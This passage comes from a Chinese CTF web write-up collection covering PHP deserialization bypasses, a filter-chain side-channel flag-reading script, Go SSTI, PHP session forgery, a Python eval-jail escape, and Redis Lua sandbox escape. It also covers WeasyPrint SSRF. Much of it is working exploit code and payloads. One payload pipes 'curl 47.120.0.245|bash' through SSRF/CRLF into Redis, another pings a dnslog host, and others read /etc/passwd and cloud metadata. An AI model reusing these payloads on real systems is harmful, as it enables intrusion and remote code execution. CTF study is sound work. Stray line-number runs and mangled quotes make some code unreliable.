    
    1
    2
    3
    4
    5

    #### 3.fast_destruct

    > 有点类似于强制gc

删除最后的大括号
数组对象占用指针(改数字)
//a:2:{i:0;O:1:”a”:1:{s:1:”a”;s:3:”123”;}i:1;s:4:”1234”;} 这是正常的
//a:2:{i:0;O:1:”a”:1:{s:1:”a”;s:3:”123”;}i:0;s:4:”1234”;} payload
//a:2:{i:0;O:1:”a”:1:{s:1:”a”;s:3:”123”;}i:1;s:4:”1234”; payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77

利用方式就是 a=null是直接将a 指向的数据结构置空,同时将其引用计数归0。

data=O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";N;}s:3:"end";s:2:"1";}
所以类似于这样写,他会产生垃圾,然后被GC回收,引发fast-destruct

##### 属性值的长度不匹配

data=O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";N;}s:3:"end";s:1:"12";}
很可能也只是GC回收的衍生

##### 类属性的数量不一致

这个描述近乎于cve-2016-7124

O:1:"A":3:{s:4:"info";O:1:"B":1:{s:3:"end";N;}s:3:"end";s:1:"1";}
效果也是

这个的确是GC回收的衍生,就是数据结果指针发生了异常

##### 深入思考

fast-destruct的本质是序列化的字符串格式不对导致反序列失败反而成为垃圾数据然后触发强行GC

本质都是GC回收机制在存在destruct的前提下绕过wakeup衍生

但是如果想要不执行wakup,就必须在有wakup魔术方法的那个类的结构进行破坏,可以采用删除分号或者属性数量不一致的方法

#### 4.php引用赋值&

在php里,我们可使用引用的方式让两个变量同时指向同一个内存地址,这样对其中一个变量操作时,另一个变量的值也会随之改变。

#### 5.使用C绕过

在这里,当开头添加为c的时候

只能执行destruct函数,无法添加任何方法

```php
<?php
error_reporting(0);
highlight_file(__FILE__);

class ctfshow{

public function __wakeup(){
die("not allowed!");
}

public function __destruct(){
system($this->ctfshow);
}

}

$data = $_GET['1+1>2'];

if(!preg_match("/^[Oa]:[\d]+/i", $data)){
unserialize($data);
}
?>

<?php
class ctfshow{

public function __wakeup(){
die("not allowed!");
}

public function __destruct(){
system($this->ctfshow);
}

}
$a=new ctfshow();
echo serialize($a);
#O:7:"ctfshow":0:{}

这里也是这样的,直接传入

1
C:8:"Saferman":0:{}

无回显file函数的新思路

最后这个file函数是真的很难,file将一个文件读取到数组内,但是这里没有回显,该怎么处理呢

1.filter-chain造成rce

这是一种新的思路,先从这里说起

image-20230826221100047

这里是通过利用filter的特性

GitHub - synacktiv/php_filter_chain_generator

filter可以通过各种的编码和字符集转换,构造出不同的字符,然后包含到文件内部中

如果是使用了include函数,file_get_content函数等,会直接包含到页面里面,可以直接rce,但是这里是file函数,不能执行

2.侧信道攻击

真的难找,找了6个小时才找出来的

什么是侧信道。侧信道其实就是根据一个二元或者多元条件关系差,可以让我们以”盲注”的形式,去获取某些信息的一种方法,测信道广义上是非常广泛的。在web题目中他们通常以盲注的形式出现

通过构造fliter链子,不断的请求内存区域的同一块资源区

通过判断彼此之间服务器响应的时间差值,来得到最终的flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
import requests
import sys
from base64 import b64decode

def join(*x):
return '|'.join(x)

def err(s):
print(s)
raise ValueError

def req(s):
data =f'php://filter/{s}/resource=/flag'

url="http://39.105.5.7:43213/?my[secret.flag=C:8:%22Saferman%22:0:{}&secret="+data
return requests.get(url).status_code == 500

blow_up_enc = join(*['convert.quoted-printable-encode']*1000)
blow_up_utf32 = 'convert.iconv.L1.UCS-4LE'
blow_up_inf = join(*[blow_up_utf32]*50)

header = 'convert.base64-encode|convert.base64-encode'

# Start get baseline blowup
print('Calculating blowup')
baseline_blowup = 0
for n in range(100):
payload = join(*[blow_up_utf32]*n)
if req(f'{header}|{payload}'):
baseline_blowup = n
break
else:
err('something wrong')

print(f'baseline blowup is {baseline_blowup}')

trailer = join(*[blow_up_utf32]*(baseline_blowup-1))

assert req(f'{header}|{trailer}') == False

print('detecting equals')
j = [
req(f'convert.base64-encode|convert.base64-encode|{blow_up_enc}|{trailer}'),
req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode{blow_up_enc}|{trailer}'),
req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KR|convert.base64-encode|{blow_up_enc}|{trailer}')
]
print(j)
if sum(j) != 2:
err('something wrong')
if j[0] == False:
header = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode'
elif j[1] == False:
header = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KRconvert.base64-encode'
elif j[2] == False:
header = f'convert.base64-encode|convert.base64-encode'
else:
err('something wrong')
print(f'j: {j}')
print(f'header: {header}')

flip = "convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.CSUNICODE.CSUNICODE|convert.iconv.UCS-4LE.10646-1:1993|convert.base64-decode|convert.base64-encode"
r2 = "convert.iconv.CSUNICODE.UCS-2BE"
r4 = "convert.iconv.UCS-4LE.10646-1:1993"

def get_nth(n):
global flip, r2, r4
o = []
chunk = n // 2
if chunk % 2 == 1: o.append(r4)
o.extend([flip, r4] * (chunk // 2))
if (n % 2 == 1) ^ (chunk % 2 == 1): o.append(r2)
return join(*o)


rot1 = 'convert.iconv.437.CP930'
be = 'convert.quoted-printable-encode|convert.iconv..UTF7|convert.base64-decode|convert.base64-encode'
o = ''

def find_letter(prefix):
if not req(f'{prefix}|dechunk|{blow_up_inf}'):
# a-f A-F 0-9
if not req(f'{prefix}|{rot1}|dechunk|{blow_up_inf}'):
# a-e
for n in range(5):
if req(f'{prefix}|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
return 'edcba'[n]
break
else:
err('something wrong')
elif not req(f'{prefix}|string.tolower|{rot1}|dechunk|{blow_up_inf}'):
# A-E
for n in range(5):
if req(f'{prefix}|string.tolower|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
return 'EDCBA'[n]
break
else:
err('something wrong')
elif not req(f'{prefix}|convert.iconv.CSISO5427CYRILLIC.855|dechunk|{blow_up_inf}'):
return '*'
elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# f
return 'f'
elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# F
return 'F'
else:
err('something wrong')
elif not req(f'{prefix}|string.rot13|dechunk|{blow_up_inf}'):
# n-s N-S
if not req(f'{prefix}|string.rot13|{rot1}|dechunk|{blow_up_inf}'):
# n-r
for n in range(5):
if req(f'{prefix}|string.rot13|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
return 'rqpon'[n]
break
else:
err('something wrong')
elif not req(f'{prefix}|string.rot13|string.tolower|{rot1}|dechunk|{blow_up_inf}'):
# N-R
for n in range(5):
if req(f'{prefix}|string.rot13|string.tolower|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
return 'RQPON'[n]
break
else:
err('something wrong')
elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# s
return 's'
elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# S
return 'S'
else:
err('something wrong')
elif not req(f'{prefix}|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
# i j k
if req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'k'
elif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'j'
elif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'i'
else:
err('something wrong')
elif not req(f'{prefix}|string.tolower|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
# I J K
if req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'K'
elif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'J'
elif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'I'
else:
err('something wrong')
elif not req(f'{prefix}|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
# v w x
if req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'x'
elif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'w'
elif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'v'
else:
err('something wrong')
elif not req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
# V W X
if req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'X'
elif req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'W'
elif req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'V'
else:
err('something wrong')
elif not req(f'{prefix}|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
# Z
return 'Z'
elif not req(f'{prefix}|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
# z
return 'z'
elif not req(f'{prefix}|string.rot13|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
# M
return 'M'
elif not req(f'{prefix}|string.rot13|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
# m
return 'm'
elif not req(f'{prefix}|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
# y
return 'y'
elif not req(f'{prefix}|string.tolower|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
# Y
return 'Y'
elif not req(f'{prefix}|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
# l
return 'l'
elif not req(f'{prefix}|string.tolower|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
# L
return 'L'
elif not req(f'{prefix}|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
# h
return 'h'
elif not req(f'{prefix}|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
# H
return 'H'
elif not req(f'{prefix}|string.rot13|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
# u
return 'u'
elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
# U
return 'U'
elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# g
return 'g'
elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# G
return 'G'
elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# t
return 't'
elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# T
return 'T'
else:
err('something wrong')

print()
for i in range(100):
prefix = f'{header}|{get_nth(i)}'
letter = find_letter(prefix)
# it's a number! check base64
if letter == '*':
prefix = f'{header}|{get_nth(i)}|convert.base64-encode'
s = find_letter(prefix)
if s == 'M':
# 0 - 3
prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
ss = find_letter(prefix)
if ss in 'CDEFGH':
letter = '0'
elif ss in 'STUVWX':
letter = '1'
elif ss in 'ijklmn':
letter = '2'
elif ss in 'yz*':
letter = '3'
else:
err(f'bad num ({ss})')
elif s == 'N':
# 4 - 7
prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
ss = find_letter(prefix)
if ss in 'CDEFGH':
letter = '4'
elif ss in 'STUVWX':
letter = '5'
elif ss in 'ijklmn':
letter = '6'
elif ss in 'yz*':
letter = '7'
else:
err(f'bad num ({ss})')
elif s == 'O':
# 8 - 9
prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
ss = find_letter(prefix)
if ss in 'CDEFGH':
letter = '8'
elif ss in 'STUVWX':
letter = '9'
else:
err(f'bad num ({ss})')
else:
err('wtf')

print(end=letter)
o += letter
sys.stdout.flush()

"""
We are done!! :)
"""

print()
d = b64decode(o.encode() + b'=' * 4)
# remove KR padding
d = d.replace(b'$)C',b'')
print(b64decode(d))

思路来源

Webの侧信道初步认识 | Boogiepop Doesn’t Laugh (boogipop.com)

22.[CISCN 2023 初赛]go_session(复现)

给了我们源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package route

import (
"github.com/flosch/pongo2/v6"
"github.com/gin-gonic/gin"
"github.com/gorilla/sessions"
"html"
"io"
"net/http"
"os"
)

var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))

func Index(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
session.Values["name"] = "guest"
err = session.Save(c.Request, c.Writer)
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
}

c.String(200, "Hello, guest")
}

func Admin(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] != "admin" {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
name := c.DefaultQuery("name", "ssti")
xssWaf := html.EscapeString(name)
tpl, err := pongo2.FromString("Hello " + xssWaf + "!")
if err != nil {
panic(err)
}
out, err := tpl.Execute(pongo2.Context{"c": c})
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
c.String(200, out)
}

func Flask(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
if err != nil {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
}
resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))
if err != nil {
return
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)

c.String(200, string(body))
}

源码信息如下:

1.访问tndex的路由,如果没有session值的携带,会自动给我们赋值成guest

2.admin路由,对我们的session进行一次检测,然后如果为guset就返回no,如果是admin的值就将我们输入的name参数作为输出。

这里使用的html.EscapeString()将输入的name值的进行html转义,这里可能存在ssti的问题

flask路由上跑了一个flask的服务

resp, err := http.Get(“http://127.0.0.1:5000/“ + c.DefaultQuery(“name”, “guest”))

传值的时候需要使用

?name=%3fname=123

伪造session提权为admin

题目中没有给我session的key值

直接猜测服务器的key值是空

在本地搭建go网页,获取session-name

ssti注入

这里是go的后端,存在pongo的注入

在django的注入中

Admin(c *gin.Context),将输入的值传递给pongo2.Context{“c”: c}

这里存在可能的ssti,

在tags的文档里面看到可以使用{ % % }包裹目标的play去注入

gin框架呢存在一个referce的参数可控,request的host属性可以控制,这里可以使用referce去获取host报头里面的refer属性

然后转入到Admin()内存在模板注入

flask热调试

在提权为admin之后,访问flask路由,随便传参让他报错

发现app.py 的路由,然后开启的debug

可以通过上传文件的方式覆盖app.py进行命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Content-Disposition: form-data; name="n"; filename="1.py"
Content-Type: text/plain

from flask import *
import os
app = Flask(__name__)


@app.route('/')
def index():
name = request.args['name']
file=os.popen(name).read()
return file


if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000, debug=True)

使用go 的saveuploadfile方法去储存上传文件

{ {c.SaveUploadedFile(c.FormFile(“file”),”/app/server.py”) } }

但是这里的“”被过滤了

使用Context.HandlerName()函数去截取

此函数可以返还主处理函数的名称

使用c.HandlerName()|last),去获取“file”字符串

然后覆盖app.py去执行

23.羊城杯决赛web3

phpsession伪造

这里是另外一种形式的伪造

上问题代码

1
2
3
4
5
6
7
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_POST['username']) && !empty($_POST['username'])) {
$_SESSION['username'] = $_POST['username'];

if (!isset($_SESSION['memos'])) {
$_SESSION['memos'] = [];
}

可以看到这里接受了一个username参数作为session的值

momo.php这里

1
2
3
4
5
6
7
8
9
10
if (isset($_POST['memo']) && !empty($_POST['memo'])) {
$_SESSION['memos'][] = $_POST['memo'];
}

if (isset($_POST['backup'])) {
$backupMemos = implode(PHP_EOL, $_SESSION['memos']);

$random = bin2hex(random_bytes(8));
$filename = '/tmp/' . $_SESSION['username'] . '_' . $random;

可以看到我们写入的内容会被储存tmp下的临时目录,名字是usernam和随机数

服务提供了下载的方法 ,包括也可以自定义下载后缀

1
2
3
4
5
6
7
$compressedData = str_rot13($backupMemos);
$filename .= '.' . $compressionMethod;
$mimeType = 'text/plain';
while (strpos($filename, '../') !== false) {
$filename = str_replace('../', '', $filename);
}
break;

如果自定义下载后缀,可以看到这里会将可能路劲穿越全部去掉

最后看到这里

1
2
<?php if (isset($_SESSION['admin']) && $_SESSION['admin'] === true) : ?>
<li><?php system("cat /flag"); ?></li> <!-- Only admin can get flag -->

如果session的admin值是true,我们就可以得到flag

这里显然是要伪造session为admin,然后得到flag

但是admin的值我们没法直接控制

php的session储存机制

session会被储存在/tmp目录下面

php的session是存放在文件中的 默认位置是/tmp/sess_PHPSESSID。如果用户名是sess,PHPSESSID设置成随机数

这里可以看到,储存的文件名字是session里面的username加下划线加phpsessid的随机数

如果把名字设置为sess,在里面写入我们想要的session,就可以做到伪造身份

1
2
3
4
5
6
7
8
9
10
11
<?php
session_start();
ini_set('session.serialize_handler','php');
$_SESSION['username'] = 'AsaL1n' ;
$_SESSION['admin'] = true;
//$fileContents = $_SESSION['file_contents'];
echo $fileContents;
// var_dump($_SESSION);
$session_id = session_id();
echo $session_id;
?>

然后找我们生成的session内容,然后输出

1
username|s:6:"AsaL1n";admin|b:1;

这里ro13转码下,就可以

只要我们注册一个sess的用户,然后写入自己转码之后的内容

然后下载的时候使用空后缀

这样会被写入tmp下面,然后获得那串随机数,伪造phpsessid就可以伪造admin

24.对内赛 escape plan

越做越喜欢

给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# Docker images --> python:3.8-alpine
# No permission to cat /flag
# Please run /readflag
import base64
from flask import Flask, request

cmd = request.form.get("cmd", "")
cmd = base64.b64decode(cmd).decode()
black_char = [
"'", '"', '.', ',', ' ', '+', '*', '/',
'os', 'sys', 'io', 'subprocess', 'system', 'popen',
'__', 'exec', 'eval', 'str', 'import', 'bytes',
'except', 'if', 'for', 'while', 'pass',
'with', 'assert', 'break', 'class', 'raise',
'0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
]
try:
eval(cmd)
except Exception as e:
msg = "error, " + str(e)

被ban了很多字符,简单的用unicode绕过就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
import base64

u = '𝟢𝟣𝟤𝟥𝟦𝟧𝟨𝟩𝟪𝟫'

payload = "X19pbXBvcnRfXygnb3MnKS5wb3BlbigncGluZyA3MDZoZHQuZG5zbG9nLmNuJykucmVhZCgp"

CMD = f"𝐞val(vars(𝐞val(ⅼist(dict(_a_aiamapaoarata_a_=()))[len([])][::len(ⅼist(dict(aa=()))[len([])])])(ⅼist(dict(b_i_n_a_s_c_i_i_=()))[len([])][::len(ⅼist(dict(aa=()))[len([])])]))[ⅼist(dict(a_2_b1_1b_a_s_e_6_4=()))[len([])][::len(ⅼist(dict(aa=()))[len([])])]](ⅼist(dict({payload}=()))[len([])]))"

CMD = CMD.translate({ord(str(i)): u[i] for i in range(10)})
url="http://150.158.160.64:30281/?cmd="
print(CMD)
cmd = base64.b64encode(CMD.encode()).decode()
print(cmd)
url=url+cmd
requ=requests.get(url=url)

25.对内赛 ezcms

说是sms,实际上是自己写的漏洞

漏洞点出在如下代码

image-20230926194117399

在这里

end函数存在问题

1
2
3
4
5
6
end 函数原本的作用就是返回数组的最后一个元素,在上面看的是正常的。但是如果我们这里把对数组赋值的顺序换一下(先给 arr[2] 赋值),可以看到结果就变了。
继续尝试会发现 reset 函数也是一样,第一个给数组赋值的值就是 reset 函数返回的值,并不一定是arr[0]。
所以构造playloadfilename[1] = php
filename[0] = png
end取的是png能通过校验
在后面拼接 $filename 时候,再一次拼接到后缀名

这里上传木马

然后sudio提权

1
echo "c3VkbyBhcHQtZ2V0IHVwZGF0ZSAtbyBBUFQ6OlVwZGF0ZTo6UHJlLUludm9rZTo6PScvYmluL2NhdCAvcm9vdC9mbGFnZ2dfMXNfaGVyZSc="|base64 -d|bash

得到flag

26.对内赛 easyjs

上来给了源码

image-20230926195148770

看到这里,可以知道proxy这个地方接受一个url为参数

在appjs里面,监听3000端口,可以通过上面的ssrf来访问这里

image-20230926195659477

看这里的代码,看到给出了redis的密码

1
2
3
const redisClient = redis.createClient("redis://127.0.0.1:6379", {
auth_pass: "tHis_1s_Red1s_pAssw0rd",
});

ok,没有思路了,下面都是学长教的

看到这里

image-20230926195954156

这里调用了restrictToLocalhost这个函数,要求访问时候是本地的ip

这里就有思路,通过ssrf来获得本地的ip,然后打redis

现在需要解决如何将自己构造的恶意数据包添加到第二次访问的数据里面

这里需要CRLF漏洞去打redis

CRLF

CRLF是 “ 回车+换行 ”(\r\n)的简称。在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器根据这两个CRLF来取出HTTP内容并显示出来。所以,一旦能够控制HTTP消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码。

CRLF漏洞可以造成Cookie会话固定漏洞和反射型XSS(可过waf)的危害

假设注入是这样的

1
http://baidu.com/xxx%0a%0dSet-Cookie:test=123

url参数值拼接到Location字符串中,设置成响应头

就会多一个注入头,如果是302的话,相当与我们控制了一个头

测试工具

1
crlffuzz -u "url"

还可以配合xxs联合注入

1
添加一个X-XSS-Protection 0 去关

这里我们是ssrf,尝试控制,后端接受了我的输入之后

访问url/api/connect?target=

这里拼接进去,就完成看crlf注入

这里是一个cve

js的组件漏洞自动审计

1
2
到相关目录下
npm audit

image-20230926201503996

看到这个地方存在crlf头,这样前面的步骤都已经完成,现在就要看redis如何注入了

Redis沙盒逃逸漏洞 RCE

Redis一直有一个攻击点,就是在用户连接redis后,可以通过eval命令执行lua脚本,但这个脚本跑在沙箱里,正常情况下无法执行命令,读取文件。Debian以及Ubuntu发行版的源在打包Redis时,在Lua沙箱中遗留了一个对象package,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令(同时利用该漏洞需要具备可在Redis中执行eval命令的权限)
影响

1
2
3
2.2 <= redis < 5.0.13
2.2 <= redis < 6.0.15
2.2 <= redis < 6.2.5

payload

1
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("whoami", "r"); local res = f:read("*a"); f:close(); return res' 0

有了上面这些,就可以构造我们的payload 了

1
/api/proxy?url=http://127.0.0.1:3000/api/connect?targetIp=http://127.0.0.1:6379%26headers%5Bhost%5D=%2520%250D%250A%250D%250Aauth%2520tHis_1s_Red1s_pAssw0rd%250D%250Aeval%2520%2527local%2520io_l%2520%253D%2520package.loadlib%2528%2522/usr/lib/x86_64-linux-gnu/liblua5.1.so.0%2522%252C%2520%2522luaopen_io%2522%2529%253B%2520local%2520io%2520%253D%2520io_l%2528%2529%253B%2520local%2520f%2520%253D%2520io.popen%2528%2522curl%252047.120.0.245%257Cbash%2522%252C%2520%2522r%2522%2529%253B%2520local%2520res%2520%253D%2520f%253Aread%2528%2522%252Aa%2522%2529%253B%2520f%253Aclose%2528%2529%253B%2520return%2520res%2527%25200%250D%250Atest%253A%2520

url地址来一次解码,然后后端解析接受的再来一次url解码

27.羊城杯2023决赛 web4

admin/admin888弱密码登录

然后需要爆破字典

爆破出参数是w1key

使用fuzz字典,发现是无字母rce,直接上payload打就好了

28.羊城杯2023决赛 web5

上来先注册,是一个jwt伪造,密钥搞不出来,看来是空的伪造isadmin是true之后,得到pdf界面

可以通过输入网址,得到相关的pdf,看来是将html渲染为pdf

WeasyPrint导致的ssrf漏洞

WeasyPrint 是一个开源的智能WEB报告生成服务,用它可以方便地在WEB应用中制作生成PDF报告,它能把简单的HTML标记转变成华丽的**、票据、统计报告等,用户在相应的HTML模板或URL链接中填写好要求的字段后就能自动生成PDF报告。

允许嵌入短小数字作为HTML标记

不允许执行Javascript脚本

不允许执行iframe或类似标记

WeasyPrint对img、embed和object等标签集都进行了重定义但是,存在link属性,允许pdf插入任意形式的网页和本地文件内容

1
2
3
<link rel=attachment href="file:///root/secret.txt">
或者
<h1>XSS</h1>

可能会被解析

存在很多利用方法

1
2
3
4
5
xss若存在,测试 <h1>XSS</h1>是否解析
若存在XSS,测试是否能使用 <iframe>等标签
若存在XSS,测试用<iframe>,<img>等包含内网或外部js文件

存在ssrf,就尝试 file://,about://,res://

payload

1
2
3
4
5
6
7
"><iframe src="http://localhost"></iframe>
<img src=x onerror=document.write('aaaa')>
<img src=x onerror=document.write('aaaa'%2bwindow.location)>
<link rel=attachment href="file:///root/secret.txt">
<iframe src=file:///etc/passwd />
<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///etc/passwd");x.send();</script>
<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/>

这题限制了必须要包含http之类的内容,我们可以再本地搭建一个1.html的网页

里面的内容是这样的

1
2
3
4
5
6
7
8
9
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
</head>
<body>
<link rel="attachment" href="file:///etc/passwd">
</body>
</html>

尝试让网页包含这个页面,输出pdf之后

使用binwalk 去输出

binwalk -e pdf

得到flag

image-20230927185811169

29 台州市赛初赛 ezphp2

shi一样,没测好环境就上题,小杯养的

上来看到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
 <?php
error_reporting(0);
$seed = str_split(uniqid(),10)[1];
extract(getallheaders());
mt_srand($seed);
$flag = str_split(file_get_contents("/flag"));
$result = "";
foreach ($flag as $value){
$result = $result . chr(ord($value)+mt_rand(1,2));
}
if (isset($answer)){

if ($answer == substr($result,0,strlen($answer))){
echo "wow~";
}else{
echo "no~";
}
}else{
highlight_file(__FILE__);
echo "no~";
}

这里getallheader函数这里存在变量覆盖

传入seed可以覆盖种子

然后使用一个脚本爆破answer的值就可以了

但是传入的所有header会首字母转换大写,所以肯定出不来

这里修一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
 <?php
error_reporting(0);
$Seed = str_split(uniqid(),10)[1];
extract(getallheaders());
mt_srand($Seed);
$flag = str_split(file_get_contents("/flag"));
$result = "";
foreach ($flag as $value){
$result = $result . chr(ord($value)+mt_rand(1,2));
}
if (isset($Answer)){

if ($Answer == substr($result,0,strlen($Answer))){
echo "wow~";
}else{
echo "no~";
}
}else{
highlight_file(__FILE__);
echo "no~";
}

上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
import time
url ="http://47.120.0.245/fuck.php"
flag=""
for j in range(1,40):
for i in range(33,127):
print(i)
header={
"seed":"1",
"answer":flag+"{0}".format(chr(i))
}
pro={"http":"127.0.0.1:8080"}
